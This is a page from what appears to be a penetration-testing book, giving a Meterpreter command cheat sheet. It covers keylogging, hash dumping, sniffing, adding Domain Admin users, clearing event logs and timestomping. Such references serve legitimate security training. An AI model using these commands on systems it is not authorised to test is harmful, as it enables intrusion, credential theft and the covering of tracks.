background image

Cheat Sheet

279

upload 

file

Upload a file to the target.

download 

file

Download a file from the target.

keyscan_start

Start sniffing keystrokes on the remote target.

keyscan_dump

Dump the remote keys captured on the target.

keyscan_stop

Stop sniffing keystrokes on the remote target.

getprivs

Get as many privileges as possible on the target.

uictl enable keyboard/mouse

Take control of the keyboard and/or mouse.

background

Run your current Meterpreter shell in the background.

hashdump

Dump all hashes on the target.

use sniffer

Load the sniffer module.

sniffer_interfaces

List the available interfaces on the target.

sniffer_dump 

interfaceID

 

pcapname

Start sniffing on the remote target.

sniffer_start 

interfaceID

 

packet-buffer

Start sniffing with a specific range for a packet buffer.

sniffer_stats 

interfaceID

Grab statistical information from the interface you are sniffing.

sniffer_stop 

interfaceID

Stop the sniffer.

add_user 

username

 

password

 -h 

ip

Add a user on the remote target.

add_group_user "Domain Admins" 

username

 -h 

ip

Add a username to the 

Domain Administrators

 group on the remote target.

clearev

Clear the event log on the target machine.

timestomp

Change file attributes, such as creation date (antiforensics measure).

reboot

Reboot the target machine.